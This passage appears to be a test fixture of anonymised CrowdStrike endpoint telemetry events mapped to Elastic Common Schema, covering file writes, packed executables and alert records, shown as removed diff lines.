-                "name": "7233ba49d5aea975e9d"
-            },
-            "device": {
-                "id": "4274e60578e437f258cd288fc421c898"
-            },
-            "event": {
-                "action": "creation",
-                "category": [
-                    "file"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "fa7433e86a344c7c471c159189a5d9e46b61|4274e60578e437f258cd288fc421c898|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"FileOperatorSid\":\"S-14916-87933-54904-21020-22768-89969-67859\",\"ContextBaseFileName\":\"f8d3910f48a\",\"FileCategory\":\"2\",\"Size\":\"4008\",\"ContextThreadId\":\"406830433040004\",\"MinorFunction\":\"0\",\"aip\":\"81.2.69.144\",\"IsOnNetwork\":\"0\",\"BoundingLimitCount\":\"10\",\"FileIdentifier\":\"fe69780d23fffd9b5ea4d464cf4fe53f8d384cdc38b47460\",\"event_platform\":\"Win\",\"TokenType\":\"1\",\"EventOrigin\":\"1\",\"DiskParentDeviceInstanceId\":\"835\\\\4db87fa6\\\\901bda80\",\"id\":\"fa7433e86a344c7c471c159189a5d9e46b61\",\"FileObject\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"OoxmlFileWritten\",\"ContextTimeStamp\":\"1757793265.081\",\"ConfigStateHash\":\"205997984\",\"ContextProcessId\":\"3902807870001\",\"IrpFlags\":\"0\",\"AuthenticationId\":\"1046050\",\"FileWrittenFlags\":\"0\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"FileEcpBitmask\":\"0\",\"MajorFunction\":\"0\",\"IsOnRemovableDisk\":\"0\",\"BoundingLimitDuration\":\"2486640\",\"Entitlements\":\"16\",\"name\":\"7233ba49d5aea975e9d\",\"OperationFlags\":\"0\",\"aid\":\"4274e60578e437f258cd288fc421c898\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\447b992c\\\\6b0cc\\\\6a5005c5\\\\0f51ad6\\\\8c31e\\\\d62f\\\\6\\\\9628fd57\\\\93\\\\697ee9b1.thmx\"}",
-                "outcome": "success",
-                "type": [
-                    "creation"
-                ]
-            },
-            "file": {
-                "device": "835\\4db87fa6\\901bda80",
-                "directory": "\\6ba0bd\\447b992c\\6b0cc\\6a5005c5\\0f51ad6\\8c31e\\d62f\\6\\9628fd57\\93",
-                "extension": "thmx",
-                "inode": "fe69780d23fffd9b5ea4d464cf4fe53f8d384cdc38b47460",
-                "name": "697ee9b1.thmx",
-                "path": "\\6ba0bd\\447b992c\\6b0cc\\6a5005c5\\0f51ad6\\8c31e\\d62f\\6\\9628fd57\\93\\697ee9b1.thmx",
-                "size": 4008,
-                "type": "file"
-            },
-            "host": {
-                "id": "4274e60578e437f258cd288fc421c898",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "OoxmlFileWritten",
-            "observer": {
-                "address": [
-                    "81.2.69.144"
-                ],
-                "geo": {
-                    "city_name": "London",
-                    "continent_name": "Europe",
-                    "country_iso_code": "GB",
-                    "country_name": "United Kingdom",
-                    "location": {
-                        "lat": 51.5142,
-                        "lon": -0.0931
-                    },
-                    "region_iso_code": "GB-ENG",
-                    "region_name": "England"
-                },
-                "ip": [
-                    "81.2.69.144"
-                ],
-                "serial_number": "4274e60578e437f258cd288fc421c898",
-                "version": "2c8b.4.ae3729d.e6"
-            },
-            "process": {
-                "entity_id": "3902807870001",
-                "name": "f8d3910f48a",
-                "thread": {
-                    "id": 406830433040004
-                }
-            },
-            "related": {
-                "hash": [
-                    "205997984"
-                ],
-                "ip": [
-                    "81.2.69.144"
-                ],
-                "user": [
-                    "S-14916-87933-54904-21020-22768-89969-67859"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "id": "S-14916-87933-54904-21020-22768-89969-67859"
-            }
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "ConfigStateHash": "50820000",
-                "ContextProcessId": "600400303060",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "66",
-                "EventOrigin": "1",
-                "FileSubType": "1",
-                "SHA256HashData": "73954d484337197445100e89a7fac5e25964f5f3da4024f8c7d07dd840d4f4e1",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "46fbd2ea624c1d37a02f228b5e07a641ba5d",
-                "name": "e1363774d0bedd151e540a3f0"
-            },
-            "device": {
-                "id": "827afde25ba0eeda5d204a68ff612048"
-            },
-            "event": {
-                "action": "creation",
-                "category": [
-                    "file"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "46fbd2ea624c1d37a02f228b5e07a641ba5d|827afde25ba0eeda5d204a68ff612048|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"event_simpleName\":\"PackedExecutableWritten\",\"ConfigStateHash\":\"50820000\",\"ContextProcessId\":\"600400303060\",\"aip\":\"216.160.83.56\",\"FileSubType\":\"1\",\"SHA256HashData\":\"73954d484337197445100e89a7fac5e25964f5f3da4024f8c7d07dd840d4f4e1\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"Entitlements\":\"66\",\"name\":\"e1363774d0bedd151e540a3f0\",\"EventOrigin\":\"1\",\"id\":\"46fbd2ea624c1d37a02f228b5e07a641ba5d\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"827afde25ba0eeda5d204a68ff612048\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\447b992c\\\\64fdf48d.~BT\\\\104a\\\\d\\\\d598026\\\\ddd203\\\\de975748.2506_none_4305ee2bac2df612\\\\47776.dll\"}",
-                "outcome": "success",
-                "type": [
-                    "creation"
-                ]
-            },
-            "file": {
-                "directory": "\\6ba0bd\\447b992c\\64fdf48d.~BT\\104a\\d\\d598026\\ddd203\\de975748.2506_none_4305ee2bac2df612",
-                "extension": "dll",
-                "hash": {
-                    "sha256": "73954d484337197445100e89a7fac5e25964f5f3da4024f8c7d07dd840d4f4e1"
-                },
-                "name": "47776.dll",
-                "path": "\\6ba0bd\\447b992c\\64fdf48d.~BT\\104a\\d\\d598026\\ddd203\\de975748.2506_none_4305ee2bac2df612\\47776.dll",
-                "type": "file"
-            },
-            "host": {
-                "id": "827afde25ba0eeda5d204a68ff612048",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "PackedExecutableWritten",
-            "observer": {
-                "address": [
-                    "216.160.83.56"
-                ],
-                "geo": {
-                    "city_name": "Milton",
-                    "continent_name": "North America",
-                    "country_iso_code": "US",
-                    "country_name": "United States",
-                    "location": {
-                        "lat": 47.2513,
-                        "lon": -122.3149
-                    },
-                    "region_iso_code": "US-WA",
-                    "region_name": "Washington"
-                },
-                "ip": [
-                    "216.160.83.56"
-                ],
-                "serial_number": "827afde25ba0eeda5d204a68ff612048",
-                "version": "2c8b.4.ae3729d.e6"
-            },
-            "process": {
-                "entity_id": "600400303060"
-            },
-            "related": {
-                "hash": [
-                    "73954d484337197445100e89a7fac5e25964f5f3da4024f8c7d07dd840d4f4e1",
-                    "50820000"
-                ],
-                "ip": [
-                    "216.160.83.56"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "AuthenticationId": "107430",
-                "ConfigStateHash": "3000500100",
-                "ContextBaseFileName": "8bccb383613c62792a",
-                "ContextProcessId": "90797090022909",
-                "ContextTimeStamp": "2025-06-12T15:46:27.245Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "66",
-                "EventOrigin": "1",
-                "FileCategory": "2",
-                "FileEcpBitmask": "0",
-                "FileObject": "0",
-                "FileOperatorSid": "S-67387-98466-95492-13435-71780-89109-76365",
-                "FileWrittenFlags": "0",
-                "IrpFlags": "0",
-                "IsOnNetwork": "0",
-                "IsOnRemovableDisk": "0",
-                "MajorFunction": "0",
-                "MinorFunction": "0",
-                "OperationFlags": "0",
-                "TokenType": "1",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "e3b7d2a5cd6687e005e8d8440762de1a5cba",
-                "name": "0ae43bcd866d0651b"
-            },
-            "device": {
-                "id": "972c7871709024649af8a061337fe15f"
-            },
-            "event": {
-                "action": "creation",
-                "category": [
-                    "file"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "e3b7d2a5cd6687e005e8d8440762de1a5cba|972c7871709024649af8a061337fe15f|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"FileOperatorSid\":\"S-67387-98466-95492-13435-71780-89109-76365\",\"ContextBaseFileName\":\"8bccb383613c62792a\",\"FileCategory\":\"2\",\"Size\":\"90700\",\"ContextThreadId\":\"599818020897405\",\"MinorFunction\":\"0\",\"aip\":\"89.160.20.128\",\"IsOnNetwork\":\"0\",\"FileIdentifier\":\"b1bfcedc983f301364a3871d0def78ac0d8895b637b50e10\",\"event_platform\":\"Win\",\"TokenType\":\"1\",\"EventOrigin\":\"1\",\"DiskParentDeviceInstanceId\":\"835\\\\b9e65ff8\\\\3fcf5e12\",\"id\":\"e3b7d2a5cd6687e005e8d8440762de1a5cba\",\"FileObject\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"PdfFileWritten\",\"ContextTimeStamp\":\"1749743187.245\",\"ConfigStateHash\":\"3000500100\",\"ContextProcessId\":\"90797090022909\",\"IrpFlags\":\"0\",\"AuthenticationId\":\"107430\",\"FileWrittenFlags\":\"0\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"FileEcpBitmask\":\"0\",\"MajorFunction\":\"0\",\"IsOnRemovableDisk\":\"0\",\"Entitlements\":\"66\",\"name\":\"0ae43bcd866d0651b\",\"OperationFlags\":\"0\",\"aid\":\"972c7871709024649af8a061337fe15f\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\447b992c\\\\c21d01b\\\\72cd25a5\\\\cf1\\\\8bda0e31\\\\dee65f00.pdf\"}",
-                "outcome": "success",
-                "type": [
-                    "creation"
-                ]
-            },
-            "file": {
-                "device": "835\\b9e65ff8\\3fcf5e12",
-                "directory": "\\6ba0bd\\447b992c\\c21d01b\\72cd25a5\\cf1\\8bda0e31",
-                "extension": "pdf",
-                "inode": "b1bfcedc983f301364a3871d0def78ac0d8895b637b50e10",
-                "name": "dee65f00.pdf",
-                "path": "\\6ba0bd\\447b992c\\c21d01b\\72cd25a5\\cf1\\8bda0e31\\dee65f00.pdf",
-                "size": 90700,
-                "type": "file"
-            },
-            "host": {
-                "id": "972c7871709024649af8a061337fe15f",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "PdfFileWritten",
-            "observer": {
-                "address": [
-                    "89.160.20.128"
-                ],
-                "geo": {
-                    "city_name": "Linköping",
-                    "continent_name": "Europe",
-                    "country_iso_code": "SE",
-                    "country_name": "Sweden",
-                    "location": {
-                        "lat": 58.4167,
-                        "lon": 15.6167
-                    },
-                    "region_iso_code": "SE-E",
-                    "region_name": "Östergötland County"
-                },
-                "ip": [
-                    "89.160.20.128"
-                ],
-                "serial_number": "972c7871709024649af8a061337fe15f",
-                "version": "2c8b.4.ae3729d.e6"
-            },
-            "process": {
-                "entity_id": "90797090022909",
-                "name": "8bccb383613c62792a",
-                "thread": {
-                    "id": 599818020897405
-                }
-            },
-            "related": {
-                "hash": [
-                    "3000500100"
-                ],
-                "ip": [
-                    "89.160.20.128"
-                ],
-                "user": [
-                    "S-67387-98466-95492-13435-71780-89109-76365"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "id": "S-67387-98466-95492-13435-71780-89109-76365"
-            }
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "AuthenticationId": "830",
-                "ConfigStateHash": "90089570",
-                "ContextBaseFileName": "d3571e48e3804d61a8d8f51",
-                "ContextImageFileName": "\\6ba0bd\\74d33d26\\aa669\\1cb\\8dff9f73\\e49665bb\\51a\\97f4d525.exe",
-                "ContextProcessId": "3097482600003",
-                "ContextTimeStamp": "2025-07-14T18:34:34.515Z",
-                "DllCharacteristics": "0",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "16",
-                "EventOrigin": "1",
-                "FileCategory": "6",
-                "FileEcpBitmask": "0",
-                "FileObject": "0",
-                "FileOperatorSid": "S-75678-67909-19006",
-                "FileWrittenFlags": "0",
-                "ImageCheckSum": "0",
-                "ImageEntryPoint": "4040",
-                "ImageSubsystem": "2",
-                "ImageTimeStamp": "2526530060",
-                "IrpFlags": "0",
-                "IsOnNetwork": "0",
-                "IsOnRemovableDisk": "0",
-                "IsTransactedFile": "0",
-                "MajorFunction": "0",
-                "MinorFunction": "0",
-                "ModuleCharacteristics": "800",
-                "OperationFlags": "0",
-                "SHA256HashData": "897ccaabed714b068888234743972924e15aee167c3cbc68f3c64a10751e73f0",
-                "TokenType": "1",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "d5f767539bfcb8d8aede98bf95736a049e78",
-                "name": "5f323af958b5a344"
-            },
-            "device": {
-                "id": "e8709208d980534971098b9a6fb8cf05"
-            },
-            "event": {
-                "action": "creation",
-                "category": [
-                    "file"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "d5f767539bfcb8d8aede98bf95736a049e78|e8709208d980534971098b9a6fb8cf05|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"FileOperatorSid\":\"S-75678-67909-19006\",\"ContextBaseFileName\":\"d3571e48e3804d61a8d8f51\",\"FileCategory\":\"6\",\"Size\":\"36724\",\"ModuleCharacteristics\":\"800\",\"ContextThreadId\":\"60020000009454\",\"MinorFunction\":\"0\",\"aip\":\"81.2.69.144\",\"IsOnNetwork\":\"0\",\"FileIdentifier\":\"cd3bc1e87072926155f8335b1c9ec29c91c2665caee05073\",\"event_platform\":\"Win\",\"TokenType\":\"1\",\"ImageCheckSum\":\"0\",\"EventOrigin\":\"1\",\"DiskParentDeviceInstanceId\":\"835\\\\7f136004\\\\03bd69ab\",\"ImageSubsystem\":\"2\",\"id\":\"d5f767539bfcb8d8aede98bf95736a049e78\",\"FileObject\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"PeFileWritten\",\"ContextTimeStamp\":\"1752518074.515\",\"UserName\":\"a7d64dd9c23669\",\"ConfigStateHash\":\"90089570\",\"IsTransactedFile\":\"0\",\"ContextProcessId\":\"3097482600003\",\"IrpFlags\":\"0\",\"ImageEntryPoint\":\"4040\",\"SHA256HashData\":\"897ccaabed714b068888234743972924e15aee167c3cbc68f3c64a10751e73f0\",\"AuthenticationId\":\"830\",\"ContextImageFileName\":\"\\\\6ba0bd\\\\74d33d26\\\\aa669\\\\1cb\\\\8dff9f73\\\\e49665bb\\\\51a\\\\97f4d525.exe\",\"FileWrittenFlags\":\"0\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"FileEcpBitmask\":\"0\",\"MajorFunction\":\"0\",\"DllCharacteristics\":\"0\",\"IsOnRemovableDisk\":\"0\",\"ImageTimeStamp\":\"2526530060\",\"Entitlements\":\"16\",\"name\":\"5f323af958b5a344\",\"OperationFlags\":\"0\",\"aid\":\"e8709208d980534971098b9a6fb8cf05\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\74d33d26\\\\d598026\\\\d62f\\\\c337ca0.tmp_dir1745907951\\\\85ba88.exe\"}",
-                "outcome": "success",
-                "type": [
-                    "creation"
-                ]
-            },
-            "file": {
-                "device": "835\\7f136004\\03bd69ab",
-                "directory": "\\6ba0bd\\74d33d26\\d598026\\d62f\\c337ca0.tmp_dir1745907951",
-                "extension": "exe",
-                "hash": {
-                    "sha256": "897ccaabed714b068888234743972924e15aee167c3cbc68f3c64a10751e73f0"
-                },
-                "inode": "cd3bc1e87072926155f8335b1c9ec29c91c2665caee05073",
-                "name": "85ba88.exe",
-                "path": "\\6ba0bd\\74d33d26\\d598026\\d62f\\c337ca0.tmp_dir1745907951\\85ba88.exe",
-                "size": 36724,
-                "type": "file"
-            },
-            "host": {
-                "id": "e8709208d980534971098b9a6fb8cf05",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "PeFileWritten",
-            "observer": {
-                "address": [
-                    "81.2.69.144"
-                ],
-                "geo": {
-                    "city_name": "London",
-                    "continent_name": "Europe",
-                    "country_iso_code": "GB",
-                    "country_name": "United Kingdom",
-                    "location": {
-                        "lat": 51.5142,
-                        "lon": -0.0931
-                    },
-                    "region_iso_code": "GB-ENG",
-                    "region_name": "England"
-                },
-                "ip": [
-                    "81.2.69.144"
-                ],
-                "serial_number": "e8709208d980534971098b9a6fb8cf05",
-                "version": "2c8b.4.ae3729d.e6"
-            },
-            "process": {
-                "entity_id": "3097482600003",
-                "executable": "\\6ba0bd\\74d33d26\\aa669\\1cb\\8dff9f73\\e49665bb\\51a\\97f4d525.exe",
-                "name": "d3571e48e3804d61a8d8f51",
-                "thread": {
-                    "id": 60020000009454
-                }
-            },
-            "related": {
-                "hash": [
-                    "897ccaabed714b068888234743972924e15aee167c3cbc68f3c64a10751e73f0",
-                    "90089570"
-                ],
-                "ip": [
-                    "81.2.69.144"
-                ],
-                "user": [
-                    "a7d64dd9c23669",
-                    "S-75678-67909-19006"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "id": "S-75678-67909-19006",
-                "name": "a7d64dd9c23669"
-            }
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "CompanyName": "48fd8e96569f1cb4",
-                "ConfigStateHash": "30820000",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "16",
-                "EventOrigin": "45",
-                "FileVersion": "81.2.69.192",
-                "FixedFileVersion": "81.2.69.142",
-                "LanguageId": "0",
-                "OriginalFilename": "71f2cbc28fc61e5b304e",
-                "SHA256HashData": "ac64229aee8b0f73735a2170025a9b3e58dc0f6ea348b80405e8e0f43a137a78",
-                "VersionInfo": "67a713f637126c54cd13f593d789edab1bc1ef0908babbc9d9ee992e1cfb9937",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "51fdaf250bbe8ba7a3d2f76e5160dbcf2719",
-                "name": "510aa45e1032311"
-            },
-            "device": {
-                "id": "f5f8341524ed1dd257646890be631aee"
-            },
-            "event": {
-                "action": "PeVersionInfo",
-                "category": [
-                    "file"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "51fdaf250bbe8ba7a3d2f76e5160dbcf2719|f5f8341524ed1dd257646890be631aee|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"event_simpleName\":\"PeVersionInfo\",\"ConfigStateHash\":\"30820000\",\"aip\":\"89.160.20.112\",\"SHA256HashData\":\"ac64229aee8b0f73735a2170025a9b3e58dc0f6ea348b80405e8e0f43a137a78\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"VersionInfo\":\"67a713f637126c54cd13f593d789edab1bc1ef0908babbc9d9ee992e1cfb9937\",\"CompanyName\":\"48fd8e96569f1cb4\",\"FixedFileVersion\":\"81.2.69.142\",\"event_platform\":\"Win\",\"OriginalFilename\":\"71f2cbc28fc61e5b304e\",\"ImageFileName\":\"\\\\6ba0bd\\\\447b992c\\\\9134161b\\\\c71dcff2\\\\150824cf.0_x64__v10z8vjag6ke6\\\\b9035\\\\48fd8e96.exe\",\"FileVersion\":\"81.2.69.192\",\"Entitlements\":\"16\",\"name\":\"510aa45e1032311\",\"EventOrigin\":\"45\",\"id\":\"51fdaf250bbe8ba7a3d2f76e5160dbcf2719\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"f5f8341524ed1dd257646890be631aee\",\"LanguageId\":\"0\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
-                "outcome": "success",
-                "type": [
-                    "info"
-                ]
-            },
-            "file": {
-                "pe": {
-                    "original_file_name": "71f2cbc28fc61e5b304e"
-                }
-            },
-            "host": {
-                "id": "f5f8341524ed1dd257646890be631aee",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "PeVersionInfo",
-            "observer": {
-                "address": [
-                    "89.160.20.112"
-                ],
-                "geo": {
-                    "city_name": "Linköping",
-                    "continent_name": "Europe",
-                    "country_iso_code": "SE",
-                    "country_name": "Sweden",
-                    "location": {
-                        "lat": 58.4167,
-                        "lon": 15.6167
-                    },
-                    "region_iso_code": "SE-E",
-                    "region_name": "Östergötland County"
-                },
-                "ip": [
-                    "89.160.20.112"
-                ],
-                "serial_number": "f5f8341524ed1dd257646890be631aee",
-                "version": "2c8b.4.ae3729d.e6"
-            },
-            "process": {
-                "executable": "\\6ba0bd\\447b992c\\9134161b\\c71dcff2\\150824cf.0_x64__v10z8vjag6ke6\\b9035\\48fd8e96.exe",
-                "name": "48fd8e96.exe"
-            },
-            "related": {
-                "hash": [
-                    "ac64229aee8b0f73735a2170025a9b3e58dc0f6ea348b80405e8e0f43a137a78",
-                    "30820000"
-                ],
-                "ip": [
-                    "89.160.20.112"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "ConfigStateHash": "3440491101",
-                "ContextProcessId": "8080063970217",
-                "ContextTimeStamp": "2025-07-05T12:34:55.992Z",
-                "DesiredAccess": "5900",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "86",
-                "EventOrigin": "1",
-                "ExtendedKeyUsages": "1",
-                "FileSigningTime": "1601400887.000",
-                "HandleCreated": "0",
-                "Object1Type": "81030550010000800400",
-                "PublicKeys": "0",
-                "SHA256HashData": "dca85177c59eb524d5339e3f884fc25933bba35549d4d94e86701f1de235beb5",
-                "SignInfoFlags": "932000",
-                "Status": "0",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "9c458f0ddfe1293cd356445b2c473d0a0ef4",
-                "name": "891d960d630f07080d2bbd00503c6ca04d9007b20af"
-            },
-            "device": {
-                "id": "6b6c287c6e8ce2041ce47a740e621689"
-            },
-            "event": {
-                "action": "PrivilegedProcessHandleFromUnsignedModule",
-                "category": [
-                    "process"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "9c458f0ddfe1293cd356445b2c473d0a0ef4|6b6c287c6e8ce2041ce47a740e621689|4092825518eaf67377a6e4492ae44577",
-                "kind": "alert",
-                "original": "{\"ContextThreadId\":\"266500049070090\",\"aip\":\"89.160.20.112\",\"PublicKeys\":\"0\",\"event_platform\":\"Win\",\"EventOrigin\":\"1\",\"id\":\"9c458f0ddfe1293cd356445b2c473d0a0ef4\",\"HandleCreated\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"Status\":\"0\",\"event_simpleName\":\"PrivilegedProcessHandleFromUnsignedModule\",\"ContextTimeStamp\":\"1751718895.992\",\"ConfigStateHash\":\"3440491101\",\"ContextProcessId\":\"8080063970217\",\"SHA256HashData\":\"dca85177c59eb524d5339e3f884fc25933bba35549d4d94e86701f1de235beb5\",\"ExtendedKeyUsages\":\"1\",\"FileSigningTime\":\"1601400887.000\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"Object1Name\":\"\",\"TargetProcessId\":\"3542590006570\",\"DesiredAccess\":\"5900\",\"ImageFileName\":\"\\\\6ba0bd\\\\a37a4d54\\\\9134161b\\\\1fcd147a\\\\c3356034\\\\158.exe\",\"Entitlements\":\"86\",\"name\":\"891d960d630f07080d2bbd00503c6ca04d9007b20af\",\"aid\":\"6b6c287c6e8ce2041ce47a740e621689\",\"SignInfoFlags\":\"932000\",\"Object1Type\":\"81030550010000800400\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"Certificate\":\"\"}",
-                "outcome": "success",
-                "type": [
-                    "access"
-                ]
-            },
-            "host": {
-                "id": "6b6c287c6e8ce2041ce47a740e621689",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "PrivilegedProcessHandleFromUnsignedModule",
-            "observer": {
-                "address": [
-                    "89.160.20.112"
-                ],
-                "geo": {
-                    "city_name": "Linköping",
-                    "continent_name": "Europe",
-                    "country_iso_code": "SE",
-                    "country_name": "Sweden",
-                    "location": {
-                        "lat": 58.4167,
-                        "lon": 15.6167
-                    },
-                    "region_iso_code": "SE-E",
-                    "region_name": "Östergötland County"
-                },
-                "ip": [
-                    "89.160.20.112"
-                ],
-                "serial_number": "6b6c287c6e8ce2041ce47a740e621689",
-                "version": "2c8b.4.ae3729d.e6"
-            },
-            "process": {
-                "entity_id": "3542590006570",
-                "executable": "\\6ba0bd\\a37a4d54\\9134161b\\1fcd147a\\c3356034\\158.exe",
-                "hash": {
-                    "sha256": "dca85177c59eb524d5339e3f884fc25933bba35549d4d94e86701f1de235beb5"
-                },
-                "name": "158.exe",
-                "thread": {
-                    "id": 266500049070090
-                }
-            },
-            "related": {
-                "hash": [
-                    "dca85177c59eb524d5339e3f884fc25933bba35549d4d94e86701f1de235beb5",
-                    "3440491101"
-                ],
-                "ip": [
-                    "89.160.20.112"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "ConfigStateHash": "550603001",
-                "ContextProcessId": "2492243565020",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "96",
-                "EventOrigin": "1",
-                "FileSubType": "4",
-                "SHA256HashData": "d35fbba9f5b92147dbbdaffc79120d2a372b34ec964cfba4e5eaf6d9aed27c3d",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "17ef479f49727073c1afd6d8d3ede95a561e",
-                "name": "deb18e9d761c09c713b0634dc553304"
-            },
-            "device": {
-                "id": "2aff58e38d0a0bf09e91cfee7bcb819e"
-            },
-            "event": {
-                "action": "ProcessExecOnPackedExecutable",
-                "category": [
-                    "process",
-                    "file"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "17ef479f49727073c1afd6d8d3ede95a561e|2aff58e38d0a0bf09e91cfee7bcb819e|4092825518eaf67377a6e4492ae44577",
-                "kind": "alert",
-                "original": "{\"event_simpleName\":\"ProcessExecOnPackedExecutable\",\"ConfigStateHash\":\"550603001\",\"ContextProcessId\":\"2492243565020\",\"aip\":\"89.160.20.112\",\"FileSubType\":\"4\",\"SHA256HashData\":\"d35fbba9f5b92147dbbdaffc79120d2a372b34ec964cfba4e5eaf6d9aed27c3d\",\"ConfigBuild\":\"2c8b.4.bab7095.e6\",\"event_platform\":\"Win\",\"TargetProcessId\":\"1080047380010\",\"Entitlements\":\"96\",\"name\":\"deb18e9d761c09c713b0634dc553304\",\"EventOrigin\":\"1\",\"id\":\"17ef479f49727073c1afd6d8d3ede95a561e\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"2aff58e38d0a0bf09e91cfee7bcb819e\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
-                "outcome": "success",
-                "type": [
-                    "access"
-                ]
-            },
-            "host": {
-                "id": "2aff58e38d0a0bf09e91cfee7bcb819e",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "ProcessExecOnPackedExecutable",
-            "observer": {
-                "address": [
-                    "89.160.20.112"
-                ],
-                "geo": {
-                    "city_name": "Linköping",
-                    "continent_name": "Europe",
-                    "country_iso_code": "SE",
-                    "country_name": "Sweden",
-                    "location": {
-                        "lat": 58.4167,
-                        "lon": 15.6167
-                    },
-                    "region_iso_code": "SE-E",
-                    "region_name": "Östergötland County"
-                },
-                "ip": [
-                    "89.160.20.112"
-                ],
-                "serial_number": "2aff58e38d0a0bf09e91cfee7bcb819e",
-                "version": "2c8b.4.bab7095.e6"
-            },
-            "process": {
-                "entity_id": "1080047380010",
-                "hash": {
-                    "sha256": "d35fbba9f5b92147dbbdaffc79120d2a372b34ec964cfba4e5eaf6d9aed27c3d"
-                }
-            },
-            "related": {
-                "hash": [
-                    "d35fbba9f5b92147dbbdaffc79120d2a372b34ec964cfba4e5eaf6d9aed27c3d",
-                    "550603001"
-                ],
-                "ip": [
-                    "89.160.20.112"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "AuthenticationId": "30409004030",
-                "ClientComputerName": "1a241b813c0288",
-                "ConfigStateHash": "3030480009",
-                "ContextProcessId": "2002000091665",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "36",
-                "EventOrigin": "1",
-                "PatternId": "459",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "0b8735c9a332451c9040cce79b716849ed11",
-                "name": "8f744680ad930347c854bf"
-            },
-            "destination": {
-                "address": "81.2.69.144",
-                "geo": {
-                    "city_name": "London",
-                    "continent_name": "Europe",
-                    "country_iso_code": "GB",
-                    "country_name": "United Kingdom",
-                    "location": {
-                        "lat": 51.5142,
-                        "lon": -0.0931
-                    },
-                    "region_iso_code": "GB-ENG",
-                    "region_name": "England"
-                },
-                "ip": "81.2.69.144"
-            },
-            "device": {
-                "id": "b956f48020b41a099bfc062444b8ea38"
-            },
-            "event": {
-                "action": "ProcessExecOnSMBFile",
-                "category": [
-                    "process",
-                    "file",
-                    "network"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
